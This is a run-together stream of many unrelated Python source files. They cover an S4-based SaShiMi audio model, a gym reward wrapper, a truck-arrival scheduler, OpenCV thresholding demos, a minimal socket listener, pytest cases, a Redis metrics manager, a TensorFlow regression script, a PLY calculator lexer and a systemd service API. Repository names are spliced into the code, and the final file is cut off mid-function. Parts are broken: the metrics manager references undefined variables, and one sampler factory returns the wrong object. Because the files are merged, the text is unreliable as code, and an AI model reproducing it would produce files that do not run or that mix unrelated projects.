generally found 2 to perform best (among 2, 4). bidirectional: use bidirectional S4 layers. Bidirectional layers are suitable for use with non-causal models such as diffusion models like DiffWave. glu: use gated linear unit in the S4 layers. Adds parameters and generally improves performance. unet: use a unet-like architecture, adding (Residual (S4) --> Residual (FF)) layers before downpooling. All else fixed, this slows down inference (and slightly slows training), but generally improves performance. We use this variant when dropping in SaShiMi into diffusion models, and this should generally be preferred for non-autoregressive models. dropout: dropout rate. Default to 0.0, since we haven't found settings where SaShiMi overfits. """ super().__init__() self.d_model = H = d_model self.unet = unet def s4_block(dim): layer = S4( d_model=dim, d_state=64, bidirectional=bidirectional, postact='glu' if glu else None, dropout=dropout, transposed=True, hurwitz=True, # use the Hurwitz parameterization for stability tie_state=True, # tie SSM parameters across d_state in the S4 layer trainable={ 'dt': True, 'A': True, 'P': True, 'B': True, }, # train all internal S4 parameters ) return ResidualBlock( d_model=dim, layer=layer, dropout=dropout, ) def ff_block(dim): layer = FFBlock( d_model=dim, expand=ff, dropout=dropout, ) return ResidualBlock( d_model=dim, layer=layer, dropout=dropout, ) # Down blocks d_layers = [] for p in pool: if unet: # Add blocks in the down layers for _ in range(n_layers): d_layers.append(s4_block(H)) if ff > 0: d_layers.append(ff_block(H)) # Add sequence downsampling and feature expanding d_layers.append(DownPool(H, expand, p)) H *= expand # Center block c_layers = [] for _ in range(n_layers): c_layers.append(s4_block(H)) if ff > 0: c_layers.append(ff_block(H)) # Up blocks u_layers = [] for p in pool[::-1]: block = [] H //= expand block.append(UpPool(H * expand, expand, p)) for _ in range(n_layers): block.append(s4_block(H)) if ff > 0: block.append(ff_block(H)) u_layers.append(nn.ModuleList(block)) self.d_layers = nn.ModuleList(d_layers) self.c_layers = nn.ModuleList(c_layers) self.u_layers = nn.ModuleList(u_layers) self.norm = nn.LayerNorm(H) assert H == d_model def forward(self, x, state=None): """ input: (batch, length, d_input) output: (batch, length, d_output) """ x = x.transpose(1, 2) # Down blocks outputs = [] outputs.append(x) for layer in self.d_layers: x, _ = layer(x) outputs.append(x) # Center block for layer in self.c_layers: x, _ = layer(x) x = x + outputs.pop() # add a skip connection to the last output of the down block # Up blocks for block in self.u_layers: if self.unet: for layer in block: x, _ = layer(x) x = x + outputs.pop() # skip connection else: for layer in block: x, _ = layer(x) if isinstance(layer, UpPool): # Before modeling layer in the block x = x + outputs.pop() outputs.append(x) x = x + outputs.pop() # add a skip connection from the input of the modeling part of this up block # feature projection x = x.transpose(1, 2) # (batch, length, expand) x = self.norm(x) return x, None # required to return a state def default_state(self, *args, **kwargs): layers = list(self.d_layers) + list(self.c_layers) + [layer for block in self.u_layers for layer in block] return [layer.default_state(*args, **kwargs) for layer in layers] def step(self, x, state, **kwargs): """ input: (batch, d_input) output: (batch, d_output) """ # States will be popped in reverse order for convenience state = state[::-1] # Down blocks outputs = [] # Store all layers for SaShiMi next_state = [] for layer in self.d_layers: outputs.append(x) x, _next_state = layer.step(x, state=state.pop(), **kwargs) next_state.append(_next_state) if x is None: break # Center block if x is None: # Skip computations since we've downsized skipped = len(self.d_layers) - len(outputs) for _ in range(skipped + len(self.c_layers)): next_state.append(state.pop()) if self.unet: for i in range(skipped): next_state.append(state.pop()) u_layers = list(self.u_layers)[skipped//3:] else: for i in range(skipped): for _ in range(len(self.u_layers[i])): next_state.append(state.pop()) u_layers = list(self.u_layers)[skipped:] else: outputs.append(x) for layer in self.c_layers: x, _next_state = layer.step(x, state=state.pop(), **kwargs) next_state.append(_next_state) x = x + outputs.pop() u_layers = self.u_layers for block in u_layers: if self.unet: for layer in block: x, _next_state = layer.step(x, state=state.pop(), **kwargs) next_state.append(_next_state) x = x + outputs.pop() else: for layer in block: x, _next_state = layer.step(x, state=state.pop(), **kwargs) next_state.append(_next_state) if isinstance(layer, UpPool): # Before modeling layer in the block x = x + outputs.pop() outputs.append(x) x = x + outputs.pop() # feature projection x = self.norm(x) return x, next_state def setup_rnn(self, mode='dense'): """ Convert the SaShiMi model to a RNN for autoregressive generation. Args: mode: S4 recurrence mode. Using `diagonal` can speed up generation by 10-20%. `linear` should be faster theoretically but is slow in practice since it dispatches more operations (could benefit from fused operations). Note that `diagonal` could potentially be unstable if the diagonalization is numerically unstable (although we haven't encountered this case in practice), while `dense` should always be stable. """ assert mode in ['dense', 'diagonal', 'linear'] for module in self.modules(): if hasattr(module, 'setup_step'): module.setup_step(mode) if __name__ == '__main__': from tqdm.auto import tqdm model = Sashimi(n_layers=2).cuda() # Print parameter count print(sum(p.numel() for p in model.parameters())) model.eval() with torch.no_grad(): # Forward in convolutional mode: used for training SaShiMi x = torch.randn(3, 10240, 64).cuda() y, _ = model(x) # Setup the SaShiMi RNN model.setup_rnn('diagonal') # Forward in recurrent mode: used for autoregressive generation at inference time ys = [] state = model.default_state(*x.shape[:1], device='cuda') for i in tqdm(range(10240)): y_, state = model.step(x[:, i], state) ys.append(y_.detach().cpu()) ys = torch.stack(ys, dim=1) breakpoint() print(y.shape, ys.shape) lucaslingle/pytorch_drldrl/envs/wrappers/stateless/reward_to_dict.py """ Reward to dictionary wrapper. """ from typing import Union import gym from drl.envs.wrappers.stateless.abstract import ( Wrapper, RewardWrapper, RewardSpec) from drl.utils.types import Reward, DictReward class RewardToDictWrapper(RewardWrapper): """ Reward to dictionary wrapper. Also creates a reward spec for the wrapped environment. """ def __init__(self, env: Union[gym.core.Env, Wrapper]): """ Args: env (Union[gym.core.Env, Wrapper]): OpenAI gym env or Wrapper thereof. """ super().__init__(env) self._reward_spec = self._get_reward_spec() def _get_reward_spec(self) -> RewardSpec: reward_keys = ['extrinsic_raw', 'extrinsic'] if hasattr(self.env, 'reward_spec'): parent_reward_spec = self.env.reward_spec if parent_reward_spec is not None: reward_keys = parent_reward_spec.keys return RewardSpec(keys=reward_keys) def reward(self, reward: Reward) -> DictReward: if isinstance(reward, dict): return reward if isinstance(reward, float): return {'extrinsic_raw': reward, 'extrinsic': reward} raise TypeError("Unsupported reward type.") from __future__ import annotations import datetime import logging import random from typing import List, Tuple, Union, Optional from conflowgen.tools.weekly_distribution import WeeklyDistribution from ..domain_models.arrival_information import TruckArrivalInformationForDelivery from ..domain_models.container import Container from ..domain_models.distribution_repositories.truck_arrival_distribution_repository import \ TruckArrivalDistributionRepository from ..domain_models.factories.vehicle_factory import VehicleFactory from ..domain_models.data_types.mode_of_transport import ModeOfTransport from ..domain_models.vehicle import LargeScheduledVehicle class TruckForExportContainersManager: """ Manages all trucks. """ def __init__(self, ): self.logger = logging.getLogger("conflowgen") self.truck_arrival_distribution_repository = TruckArrivalDistributionRepository() self.distribution: WeeklyDistribution | None = None self.vehicle_factory = VehicleFactory() self.minimum_dwell_time_in_hours: Optional[float] = None self.maximum_dwell_time_in_hours: Optional[float] = None self.time_window_length_in_hours: Optional[float] = None def reload_distribution( self, minimum_dwell_time_in_hours: float, maximum_dwell_time_in_hours: float ): # noinspection PyTypeChecker hour_of_the_week_fraction_pairs: List[Union[Tuple[int, float], Tuple[int, int]]] = \ list(self.truck_arrival_distribution_repository.get_distribution().items()) self.minimum_dwell_time_in_hours = minimum_dwell_time_in_hours self.maximum_dwell_time_in_hours = maximum_dwell_time_in_hours self.distribution = WeeklyDistribution( hour_fraction_pairs=hour_of_the_week_fraction_pairs, considered_time_window_in_hours=self.maximum_dwell_time_in_hours - 1, # because the latest slot is reset minimum_dwell_time_in_hours=self.minimum_dwell_time_in_hours ) self.time_window_length_in_hours = self.distribution.time_window_length_in_hours def _get_container_delivery_time( self, container_departure_time: datetime.datetime ) -> datetime.datetime: latest_slot = container_departure_time.replace(minute=0, second=0, microsecond=0) - datetime.timedelta(hours=1) earliest_slot = ( latest_slot - datetime.timedelta(hours=self.maximum_dwell_time_in_hours - 1) # because the latest slot is reset ) distribution_slice = self.distribution.get_distribution_slice(earliest_slot) time_windows_for_truck_arrival = list(distribution_slice.keys()) delivery_time_window_start = random.choices( population=time_windows_for_truck_arrival, weights=list(distribution_slice.values()) )[0] # arrival within the last time slot random_time_component = random.uniform(0, self.time_window_length_in_hours - (1 / 60)) assert 0 <= random_time_component < self.time_window_length_in_hours, \ "The random time component be less than the time slot" # go back to the earliest possible day truck_arrival_time = ( earliest_slot + datetime.timedelta(hours=delivery_time_window_start) + datetime.timedelta(hours=random_time_component) ) return truck_arrival_time def generate_trucks_for_delivering(self) -> None: """Looks for all containers that are supposed to be delivered by truck and creates the corresponding truck. """ containers = Container.select().where( Container.delivered_by == ModeOfTransport.truck ).execute() self.logger.info(f"In total {len(containers)} containers are delivered by truck, creating these trucks now...") for i, container in enumerate(containers): i += 1 if i % 1000 == 0 and i > 0: self.logger.info( f"Progress: {i} / {len(containers)} ({100 * i / len(containers):.2f}%) trucks generated " f"for export containers") picked_up_with: LargeScheduledVehicle = container.picked_up_by_large_scheduled_vehicle container_pickup_time: datetime.datetime = \ picked_up_with.delayed_arrival or picked_up_with.scheduled_arrival truck_arrival_time = self._get_container_delivery_time(container_pickup_time) truck_arrival_information_for_delivery = TruckArrivalInformationForDelivery.create( planned_container_delivery_time_at_window_start=truck_arrival_time, realized_container_delivery_time=truck_arrival_time ) truck_arrival_information_for_delivery.save() truck = self.vehicle_factory.create_truck( delivers_container=True, picks_up_container=False, truck_arrival_information_for_delivery=truck_arrival_information_for_delivery, truck_arrival_information_for_pickup=None ) truck.save() container.delivered_by_truck = truck container.save() self.logger.info("All trucks that deliver a container are created now.") 1-10 # @Author: # @Date: 28-08-2017 # @Filename: image_combine.py # @Last modified by: varoon # @Last modified time: 28-08-2017 import cv2 import numpy as np #GOAL: put the opencv logo on an image and make it opaque(rather than transparent) messi = cv2.imread("messi5.jpg") cv_logo = cv2.imread("opencv-logo.png") rows,cols,channels = cv_logo.shape roi = messi[0:rows, 0:cols] #going to put logo in top left #using a mask because the CV logo is not a rectangle. Find pixels of interest with threshold. cv_logo_grey = cv2.cvtColor(cv_logo, cv2.COLOR_BGR2GRAY) ret,mask = cv2.threshold(cv_logo_grey,10,255,cv2.THRESH_BINARY) #THRESHOLD IMAGE mask_inv = cv2.bitwise_not(mask) messi_bg=cv2.bitwise_and(roi,roi,mask = mask_inv) cv_logo_fg = cv2.bitwise_and(cv_logo,cv_logo,mask=mask) cv2.imshow("test",mask) res = cv2.add(messi_bg, cv_logo_fg) messi[0:rows, 0:cols] = res cv2.imshow("Messi and CV Logo", messi) cv2.waitKey(0) cv2.destroyAllWindows() 0 import socket ada = socket.socket(socket.AF_INET, socket.SOCK_STREAM) host = "0.0.0.0" port = 8080 ada.bind((host, port)) ada.listen(1) clientsocket, addr = ada.accept() mr = clientsocket.recv(1024) print(mr.decode()) clientsocket.send(b"[*] Connection Enstabilished") clientsocket.close() 0 import cv2.cv2 as cv img = cv.imread("../Resources/Photos/cats.jpg") cv.imshow('Cats', img) gray = cv.cvtColor(img, cv.COLOR_BGR2GRAY) cv.imshow('Gray', gray) # Simple Thresholding threshold, thresh = cv.threshold(gray, 150, 255, cv.THRESH_BINARY) cv.imshow('Simple Threshold', thresh) threshold, thresh_inv = cv.threshold(gray, 150, 255, cv.THRESH_BINARY_INV) cv.imshow('Simple Threshold inv', thresh_inv) adaptive_thresh = cv.adaptiveThreshold(gray, 255, cv.ADAPTIVE_THRESH_MEAN_C, cv.THRESH_BINARY, 11, 3) cv.imshow('Adaptive', adaptive_thresh) cv.waitKey(0) cv.destroyAllWindows() # -*- python -*- # -*- coding: utf-8 -*- # # (c) 2013-2021 parasim inc # (c) 2010-2021 california institute of technology # all rights reserved # # Author(s): # the package import altar # and the protocols from altar.bayesian.Controller import Controller as controller from altar.bayesian.Sampler import Sampler as sampler from altar.bayesian.Scheduler import Scheduler as scheduler # implementations @altar.foundry(implements=sampler, tip="the Metropolis algorithm as a Bayesian sampler") def metropolis(): # grab the factory from .cudaMetropolis import cudaMetropolis as metropolis # attach its docstring __doc__ = metropolis.__doc__ # and return it return metropolis # implementations @altar.foundry(implements=sampler, tip="the Metropolis sampler with targeted correlation") def metropolisvaryingsteps(): # grab the factory from .cudaMetropolisVaryingSteps import cudaMetropolisVaryingSteps as metropolisvarysteps # attach its docstring __doc__ = metropolisvaryingsteps.__doc__ # and return it return metropolisvaryingsteps # implementations @altar.foundry(implements=sampler, tip="the Metropolis sampler with a targeted acceptance rate") def adaptivemetropolis(): # grab the factory from .cudaAdaptiveMetropolis import cudaAdaptiveMetropolis as adaptivemetropolis # attach its docstring __doc__ = adaptivemetropolis.__doc__ # and return it return adaptivemetropolis # end of file canyoupleasecreateanaccount/pytestLessonsCode import requests import pytest from pydantic.error_wrappers import ValidationError from src.generators.player_localization import PlayerLocalization from src.enums.user_enums import Statuses from src.baseclasses.response import Response from src.schemas.computer import Human, Inventory @pytest.mark.parametrize("status", Statuses.list()) def test_something1(status, get_player_generator): # print(get_player_generator.set_status(status).build()) pass @pytest.mark.parametrize("delete_key", [ "account_status", "balance", "localize", "avatar" ]) def test_something2(delete_key, get_player_generator): object_to_send = get_player_generator.build() del object_to_send[delete_key] # print(object_to_send) @pytest.mark.parametrize("localizations, loc", [ ("fr", "fr_FR") ]) def test_something3(get_player_generator, localizations, loc): object_to_send = get_player_generator.update_inner_value( ['localize', localizations], PlayerLocalization(loc).set_number(15).build() ).build() # print(object_to_send) def test_human(): r = requests.get('https://petstore.swagger.io/v2/store/inventory') response = Response(r) response.validate(Inventory) 1-10 from __future__ import unicode_literals import yaml try: from yaml import CSafeLoader as SafeLoader except ImportError: from yaml import SafeLoader from django.utils.module_loading import import_string from .settings import ( setting_shared_storage, setting_shared_storage_arguments ) storage_sharedupload = import_string( dotted_path=setting_shared_storage.value )( **yaml.load( stream=setting_shared_storage_arguments.value or '{}', Loader=SafeLoader ) ) banditpylib/learners/ordinary_mnl_learner/ucb_test.py from unittest.mock import MagicMock import numpy as np from banditpylib.bandits import CvarReward from .ucb import UCB class TestUCB: """Test UCB policy""" def test_simple_run(self): revenues = np.array([0, 0.7, 0.8, 0.9, 1.0]) horizon = 100 reward = CvarReward(0.7) learner = UCB(revenues=revenues, horizon=horizon, reward=reward) learner.reset() mock_preference_params = np.array([1, 1, 1, 1, 1]) learner.UCB = MagicMock(return_value=mock_preference_params) assert learner.actions() == [({1, 2, 3, 4}, 1)] jbencook/mnist-pipeline1-10 import json import pytorch_lightning as pl from .config import MnistConfig from .dataset import load_dataset from .train import MnistLightning def evaluate_model( model_checkpoint_path: str = MnistConfig.model_checkpoint_path, batch_size: str = MnistConfig.batch_size, metrics_path: str = MnistConfig.metrics_path, ) -> None: """Measure validation accuracy on trained model""" pl_model = MnistLightning.load_from_checkpoint(model_checkpoint_path) validation_loader = load_dataset(train=False, batch_size=batch_size) result = pl.Trainer().validate(pl_model, validation_loader)[0] with open(metrics_path, "w") as f: f.write(json.dumps(result)) #!env python import argparse import threading import redis import requests import collections import re import time import numpy as np # Mine from worker_interface import WorkerClient import exceptions import common logger = common.getLogger(f"{__file__.replace('.py', '')}") class MetricManager(object): def __init__(self, redis_server, redis_port, time_between_updates, *args, **kwargs): self.db = redis.Redis(host=redis_server, port=redis_port) self.time_between_updates = time_between_updates self.worker_clients_by_url = {} self.updateWorkers() # Set "updating" flag to indicate it is not currently updating self.db.mset({common.UPDATING_FLAG_NAME : 0}) def updateWorkers(self): redis_worker_urls = [common.fixWorkerURL(w.decode()) for w in self.db.smembers('workers')] new_worker_urls = set(redis_worker_urls) - set(self.worker_clients_by_url.keys()) for worker_url in new_worker_urls: self.worker_clients_by_url[worker_url] = WorkerClient(worker_url) def updateMetrics(self): logger.info("Enter updateMetrics()") # Schedule next update if self.time_between_updates > 0: threading.Timer(self.time_between_updates, self.updateMetrics).start() # Check whether the previous metrics have been updated. If not, skip this time if self.db.get(common.UPDATING_FLAG_NAME) == 1: logger.warning("Previous updateMetrics() still has update lock") return # Update the metrics ## Set "updating" flag in redis logger.info("Acquiring lock") self.db.mset({common.UPDATING_FLAG_NAME : 1}) self.updateWorkers() try: worker_stats = {} model_stats = {} ## Get a List of current workers #metrics_by_worker = { # worker_url : worker_client.getMetrics() # for (worker_url, worker_client) in self.worker_clients_by_url.items() #} #fields_to_get = [""] for worker_url in self.worker_clients_by_url.keys(): worker_prefix = f"{common.WORKER_STAT_PREFIX}{common.stripWorkerURL(self.worker_url)}" logger.debug(f"metrics_by_worker: {metrics_by_worker}") ############################ # Process Model Statistics # ############################ ## Get a list of models used model_names = [] for worker_metrics in metrics_by_worker.values(): model_names.extend(worker_metrics["model_info"].keys()) model_names = list(set(model_names)) logger.debug(f"model_names: {model_names}") ############################ ############################ ## Push Results to redis self.updateRedis(worker_stats, model_stats) finally: ## Unset "updating" flag in redis self.db.mset({common.UPDATING_FLAG_NAME : 0}) logger.info("Released lock") def updateRedis(self, worker_stats, model_stats): logger.info("updateRedis()") logger.debug(f"worker_stats: {worker_stats}") logger.debug(f"model_stats: {model_stats}") ### Open a pipeline so all updates can happen at once pipe = self.db.pipeline() for worker in worker_stats.keys(): # For each worker, grab all the statistics and submit them all at once for statistic in worker_stats[worker]: if not isinstance(worker_stats[worker][statistic], dict): pipe.set( f"{common.WORKER_STAT_PREFIX}{worker}{common.DB_FIELD_SEPARATOR}{statistic}", worker_stats[worker][statistic]) for model in model_stats.keys(): # For each worker, grab all the statistics and submit them all at once for statistic in model_stats[model]: pipe.set( f"{common.MODEL_STAT_PREFIX}{model}{common.DB_FIELD_SEPARATOR}{statistic}", model_stats[model][statistic] ) results = pipe.execute() logger.debug(f"Pipelined setting results: {results}") def parseArgs(): parser = argparse.ArgumentParser() parser.add_argument('--redis_server', default="redis-server", help='Hostname of the REDIS server') parser.add_argument('--redis_port', default=6379, type=int, help='Port of the REDIS server') parser.add_argument('--time_between_updates', default=1, help="Time between updates in seconds.") args = parser.parse_args() return args def main(): args = parseArgs() metrics_manager = MetricManager(args.redis_server, args.redis_port, args.time_between_updates) # Start update cycle metrics_manager.updateMetrics() if __name__ == '__main__': main()#!/usr/bin/env python3 # coding=utf-8 import tensorflow as tf import numpy as np import kaiLinear.line_from_linear_data_utils as kai x_data_array, y_data_array = kai.get_linear_data() w = tf.Variable([[0]], dtype=tf.float32, name='w') # w = tf.Variable(tf.zeros(shape=[1, 1]), dtype=tf.float32, name='w') # w = tf.Variable(tf.random_normal(mean=0, shape=[1, 1]), dtype=tf.float32, name='w') b = tf.constant(50, dtype=tf.float32, name='b') # b = tf.Variable(0, dtype=tf.float32, name='b') x_data = tf.placeholder(shape=[None, 1], dtype=tf.float32, name='inputX') y_target = tf.placeholder(shape=[None, 1], dtype=tf.float32, name='yTarget') y_calc = tf.add(tf.matmul(x_data, w), b, name='yCalc') loss = tf.square(y_calc - y_target) loss = tf.reduce_mean(loss) optimizer = tf.train.GradientDescentOptimizer(0.0000001) train = optimizer.minimize(loss) sess = tf.Session() sess.run(tf.global_variables_initializer()) loss_vec = [] data_amount = len(x_data_array) batch_size = 20 log_dir = '../logs/line_from_linear_data' if tf.gfile.Exists(log_dir): dir = tf.gfile.ListDirectory(log_dir) for file in dir: tf.gfile.Remove(log_dir + '/' + file) # tf.gfile.DeleteRecursively(log_dir + '/' + file) # tf.gfile.MakeDirs(log_dir) summary_writer = tf.summary.FileWriter(log_dir, tf.get_default_graph()) x = y = None for step in range(8_001): rand_index = np.random.choice(data_amount, size=batch_size) x = x_data_array[rand_index] x = np.mat(x) x = x.T y = np.transpose([y_data_array[rand_index]]) sess.run(train, feed_dict={x_data: x, y_target: y}) if step % 200 == 0: run_options = tf.RunOptions(trace_level=tf.RunOptions.FULL_TRACE) run_metadata = tf.RunMetadata() loss_value = sess.run(loss, feed_dict={x_data: x, y_target: y}, options=run_options, run_metadata=run_metadata) loss_vec.append(loss_value) summary_writer.add_run_metadata(run_metadata, 'step %04d' % step) print('step=%d weight=%s bias=%s loss=%s' % (step, sess.run(w), sess.run(b), loss_value)) tf.summary.scalar('loss', loss) merged = tf.summary.merge_all() summary = sess.run(merged, feed_dict={x_data: x, y_target: y}) summary_writer.add_summary(summary, step) [[_w]] = sess.run(w) _w1 = sess.run(w) _w2 = _w1[0, 0] _b = sess.run(b) summary_writer.close() sess.close() print('last W=%f B=%f' % (_w, _b)) HewlettPackard/hpe-solutions-openshift # (C) Copyright 2021 Hewlett Packard Enterprise Development LP # # Permission is hereby granted, free of charge, to any person obtaining a copy # of this software and associated documentation files (the "Software"), to deal # in the Software without restriction, including without limitation the rights # to use, copy, modify, merge, publish, distribute, sublicense, and/or sell # copies of the Software, and to permit persons to whom the Software is # furnished to do so, subject to the following conditions: # # The above copyright notice and this permission notice shall be included in # all copies or substantial portions of the Software. # # THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR # IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, # FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE # AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER # LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, # OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN # THE SOFTWARE. import logging logger = logging.getLogger() update_logger = logging.getLogger() def log_debug(message): """function to log debug messages """ logger.debug(message) def log_info(message): """function to log info messages """ logger.info(message) def log_warn(message): """function to log warning messages """ logger.warn(message) def log_error(message): """function to log error messages""" logger.error(message) def lexception(message): """function to log exception messages""" logger.exception(message) def log_print(message): log_info(message) print(message) Hebbarkh/ScientificCalculatorcalc2.py1-10 import ply.lex as lex tokens = [ 'NAME','INT','FLOAT','PLUS','MINUS','TIMES','DIVIDE','EQUALS','SIN','COS','TAN','COT','SEC','COSEC','OPAR','CPAR','AND','OR','XOR', 'NOT','QUIT','EXIT','BREAK','SUM','DIFFERENCE','PRODUCT','QUOTIENT','LOG','LN','FACTORIAL','PI','SQUARE','SQROOT','REGISTERS', 'RAD','POWER','DEGREE','WORD' ] t_NAME = 'A|B|C|D' t_ignore = ' \t' t_PLUS = r'\+|plus' t_MINUS = r'-|minus' t_TIMES = r'\*|times' t_DIVIDE = r'/|by' t_EQUALS = r'=' t_SIN = r'sin' t_COS = r'cosine|cos' t_TAN = r'tan|tangent' t_COT = r'cot|cotangent' t_SEC = r'sec|secent' t_COSEC = r'cosec|cosecent' t_OPAR = r'\(' t_CPAR = r'\)' t_AND = r'logical\ and|&|AND' t_OR = r'logical\ or|\||OR' t_NOT = r'NOT' t_XOR = r'xor|XOR' t_BREAK = r'break' t_QUIT = r'quit' t_EXIT = r'exit' t_SUM = 'sum|add' t_RAD = 'radian|radians' t_DIFFERENCE = 'difference|subtract' t_PRODUCT = 'product|multiply' t_QUOTIENT = 'quotient|divide' t_LOG = r'log' t_LN = r'ln' t_FACTORIAL = r'factorial' t_PI = r'pi' t_SQUARE = r'square' t_POWER = r'power' t_SQROOT = r'square\ root|root|squareroot' t_REGISTERS = r'registers?' t_DEGREE = r'degrees?' def t_WORD(t): r'what|whats|is|the|find|me|of|calculate|tell|do\ you\ know|and|value|,|What|Whats|Find|Calculate|Tell|And|Value' pass def t_FLOAT(t): r'[0-9]*\.[0-9]+' t.value = float(t.value) return t def t_INT(t): r'\d+' t.value = int(t.value) return t def t_error(t): print ' Undefined character ',t.value t.lexer.skip(len(t.value)) lex.lex() deodates-dev/UAV-maverick-api1-10 import logging import copy import os import pathlib import asyncio import time import functools import tornado.ioloop from pystemd.dbuslib import DBus from pystemd.systemd1 import Unit from pystemd.systemd1 import Manager from maverick_api.modules import schemaBase from maverick_api.modules.base.util.process_runner import ProcessRunner # graphql imports from graphql import ( GraphQLArgument, GraphQLField, GraphQLObjectType, GraphQLInt, GraphQLList, GraphQLString, GraphQLBoolean, ) from graphql.pyutils.simple_pub_sub import SimplePubSubIterator application_log = logging.getLogger("tornado.application") from tornado.options import options def process(msg, error=None, userdata=None): msg.process_reply(True) member = msg.headers.get("Member", None) loop = tornado.ioloop.IOLoop.current() if member == b"PropertiesChanged": unit_path = msg.headers.get("Path", None) sub_state = msg.body[1].get(b"SubState", None) timestamp_monotonic = msg.body[1].get(b"StateChangeTimestampMonotonic", None) if unit_path and sub_state: application_log.debug(f"{unit_path}:{sub_state}") if unit_path in userdata.services: check_enabled = False userdata.services[unit_path]["running"] = ( True if sub_state == b"running" else False ) if userdata.services[unit_path]["enabled"] == None: check_enabled = True loop.add_callback( functools.partial( userdata.call_get_service_status, [userdata.services[unit_path]], {}, check_enabled=check_enabled, ) ) elif member == b"UnitFilesChanged": application_log.info("An enable / disable event occured") loop.add_callback( functools.partial( userdata.call_get_service_status, [userdata.services[service] for service in userdata.services], {}, ) ) else: pass class MaverickServiceSchema(schemaBase): def __init__(self): super().__init__(self) loop = tornado.ioloop.IOLoop.current() self.service_command_name = "MaverickService" self.process_runner_timeout = 5 # seconds self.using_dbus = options.use_dbus # self.service_command_category_name = self.service_command_name + "Category" self.service_command_list_name = self.service_command_name + "List" self.service_definition_path = ( pathlib.Path(options.service_definition_path).expanduser().resolve() ) self.meta_info_file = "__init__" if self.using_dbus: self.services = self.read_services_dbus() else: self.services = self.read_services() if self.using_dbus: self.stop_event = asyncio.Event() loop.add_callback(self.monitor) self.service_command_type = GraphQLObjectType( self.service_command_name, lambda: { "name": GraphQLField( GraphQLString, description="Service identifier name", ), "displayName": GraphQLField( GraphQLString, description="Service display name", ), "category": GraphQLField( GraphQLString, description="Service category identifier", ), "displayCategory": GraphQLField( GraphQLString, description="Service category name", ), "enabled": GraphQLField( GraphQLBoolean, description="If the service is enabled at boot", ), "running": GraphQLField( GraphQLBoolean, description="If the service is currently running" ), "updateTime": GraphQLField( GraphQLInt, description="Time when the service status was last updated", ), }, description="Maverick service interface", ) self.service_command_list_type = GraphQLObjectType( self.service_command_list_name, lambda: {"services": GraphQLField(GraphQLList(self.service_command_type)),}, ) self.q = { self.service_command_name: GraphQLField( self.service_command_type, args={ "name": GraphQLArgument( GraphQLString, description="Service identifier name", ), "category": GraphQLArgument( GraphQLString, description="Service category identifier", ), }, resolve=self.get_service_status, ), self.service_command_list_name: GraphQLField( self.service_command_list_type, resolve=self.get_service_status_list, ), } self.m = { self.service_command_name: GraphQLField( self.service_command_type, args=self.get_mutation_args(self.service_command_type), resolve=self.set_service_status, ) } self.s = { self.service_command_name: GraphQLField( self.service_command_type, subscribe=self.sub_service_status, resolve=None, ) } def shutdown(self): if self.using_dbus: self.stop_event.set() def read_services_dbus(self): services = {} with Manager() as manager: for _unit in manager.Manager.ListUnits(): idx = _unit[0].find(b"maverick-") if idx == -1: continue service_name = _unit[0][9:-8].decode() category = None if "@" in service_name: category = service_name.split("@")[-1].strip() unit = Unit(_unit[0]) services[unit.path] = { "unit": unit, "path": unit.path, "category_name": category, "category_display_name": category, "command": _unit[0][0:-8].decode(), "service_name": _unit[0][9:-8].decode(), "service_display_name": _unit[1].decode(), "last_update": int(time.time()), "enabled": None, "running": True if _unit[4] == b"running" else False, } for service in services: application_log.debug(f"Adding service: {services[service]}") return services def read_services(self): services = {} try: service_folders = [ f.name for f in os.scandir(self.service_definition_path) if f.is_dir() ] service_folders.sort() for idx, service_folder in enumerate(service_folders): service_folder_path = self.service_definition_path.joinpath( service_folder ) category = service_folder.split(".")[-1].strip().lower() # e.g.: dev service_files = [ f.name for f in os.scandir(service_folder_path) if f.is_file() ] service_files.sort() sub_idx = 0 if self.meta_info_file in service_files: meta_info = "" with open( service_folder_path.joinpath(self.meta_info_file), "r+" ) as fid: meta_info = fid.read().strip() for service_file in [ x for x in service_files if x != self.meta_info_file ]: with open(service_folder_path.joinpath(service_file), "r+") as fid: service_info = fid.readlines() for line in [x for x in service_info if x.strip()]: line = line.split(",") service_name = line[0].strip().lower() display_name = line[1].strip() services[f"maverick-{service_name}"] = { "path": f"maverick-{service_name}", "category_name": category, "category_display_name": meta_info, "command": f"maverick-{service_name}", "service_name": service_name, "service_display_name": display_name, "last_update": None, "enabled": None, "running": None, } for service in services: application_log.debug(f"Adding service: {services[service]}") except FileNotFoundError: application_log.warning( f"Could not find service folder at: {self.service_definition_path}" ) return services def read_callback(self, fd, event, **kwargs): kwargs["bus"].process() async def monitor(self): loop = tornado.ioloop.IOLoop.current() with DBus() as bus: for service in self.services: bus.match_signal( self.services[service]["unit"].destination, self.services[service]["unit"].path, b"org.freedesktop.DBus.Properties", b"PropertiesChanged", process, self, ) bus.match_signal( b"org.freedesktop.systemd1", None, None, b"UnitFilesChanged", process, self, ) loop.add_handler( bus.get_fd(), functools.partial(self.read_callback, bus=bus), loop.READ ) await self.stop_event.wait() def filter_services(self, service_command): services = [self.services[service] for service in self.services] # Both or one of category and name must be provided with the mutation if not service_command["category"] and not service_command["name"]: application_log.warning( "No service category or service name was provided. No action taken." ) return [] # Filter the avalble services by category, if provided if service_command["category"]: services = [ x for x in services if x["category_name"] == service_command["category"] ] # Filter the avalble services by name, if provided if service_command["name"]: services = [ x for x in services if x["service_name"] == service_command["name"] ] # Check to ensure we have a service left over after the filtering if len(services) < 1: application_log.warning( f"No services were selected using service category = {service_command['category']} and service name = {service_command['name']}." ) return [] return services async def set_service_status(self, root, info, **kwargs): application_log.debug(f"set_service_status {kwargs}") service_command = {} service_command["name"] = kwargs.get("name", "").lower() service_command["enabled"] = kwargs.get("enabled", None) service_command["category"] = kwargs.get("category", "").lower() service_command["running"] = kwargs.get("running", None) services = self.filter_services(service_command) if not services: return service_tasks = [] for service in services: service_tasks.append( asyncio.create_task( self.modify_service(service, copy.deepcopy(service_command)) ) ) await asyncio.gather(*service_tasks, return_exceptions=True) return async def modify_service(self, service, service_command): service_command["name"] = service["service_name"] service_command["displayName"] = service["service_display_name"] service_command["displayCategory"] = service["category_display_name"] if 